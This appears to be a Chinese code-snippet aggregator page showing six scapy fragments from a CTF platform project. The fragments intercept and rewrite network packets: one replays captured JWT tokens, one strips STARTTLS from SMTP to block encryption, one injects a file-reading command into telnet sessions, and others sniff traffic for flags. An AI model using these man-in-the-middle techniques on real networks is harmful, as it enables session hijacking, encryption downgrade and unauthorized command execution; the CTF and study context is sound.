当前位置: 首页>>代码示例>>Python>>正文


Python all.all方法代码示例

本文整理汇总了Python中scapy.all.all方法的典型用法代码示例。如果您正苦于以下问题:Python all.all方法的具体用法?Python all.all怎么用?Python all.all使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在scapy.all的用法示例。


在下文中一共展示了all.all方法的6个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: filter

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import all [as 别名]
def filter(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                tcp, raw = pkt[scapy.TCP], pkt[scapy.Raw]
                if tcp.sport == self.port:
                    try:
                        if jwt.decode(raw.load, verify=False)['auth']:
                            self.authed_token = raw.load
                        elif self.authed_token is not None:
                            raw.load = self.authed_token
                    except (jwt.DecodeError, KeyError):
                        pass
            return pkt 
开发者ID:nategraf,项目名称:Naumachia,代码行数:14,代码来源:recipe.py

示例2: process

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import all [as 别名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.flag = m.group(0)
                    self.sniffer.stop() 
开发者ID:nategraf,项目名称:Naumachia,代码行数:15,代码来源:letter.py

示例3: corrupttls

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import all [as 别名]
def corrupttls(pkt):
        """corrupttls looks for an SMTP client packet with `STARTTLS` and replaces it with `STARTFOO`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP, scapy.Raw)):
            if pkt[scapy.TCP].dport == 25 and b'STARTTLS' in pkt[scapy.Raw].load:
                pkt.load = pkt[scapy.Raw].load.replace(b'STARTTLS', b'STARTFOO')
        return pkt 
开发者ID:nategraf,项目名称:Naumachia,代码行数:8,代码来源:letter.py

示例4: injectcmd

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import all [as 别名]
def injectcmd(pkt):
        """injectcmd looks for a telnet client packet and if it has the `cd` command, reaplces it with `cat .ctf_flag`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
            if scapy.Raw in pkt and pkt[scapy.TCP].dport == 23:
                raw = pkt[scapy.Raw]
                if b'cd ' in raw.load:
                    raw.load = b'cat .ctf_flag\n'
        return pkt 
开发者ID:nategraf,项目名称:Naumachia,代码行数:10,代码来源:piggies.py

示例5: process

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import all [as 别名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.UDP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%: %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.question = m.group(0)
                elif 'Yup' in load and self.question is not None:
                    self.flag = self.question
                    self.sniffer.stop() 
开发者ID:nategraf,项目名称:Naumachia,代码行数:17,代码来源:middle.py

示例6: process

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import all [as 别名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.TCP)):
                logger.debug(pkt.sprintf("[%Ether.src%]%IP.src%:%TCP.sport% > [%Ether.dst%]%IP.dst%:%TCP.dport% %TCP.flags%"))
                if pkt[scapy.Ether].dst == str(net.ifhwaddr(self.iface)) and pkt[scapy.TCP].flags == 2:
                    self.bindaddr, self.bindport = pkt[scapy.IP].dst, pkt[scapy.TCP].dport
                    if self._thread is None or not self._thread.is_alive():
                        self._thread = threading.Thread(target=self.intercept)
                        self._thread.start() 
开发者ID:nategraf,项目名称:Naumachia,代码行数:10,代码来源:scraps.py


注:本文中的scapy.all.all方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。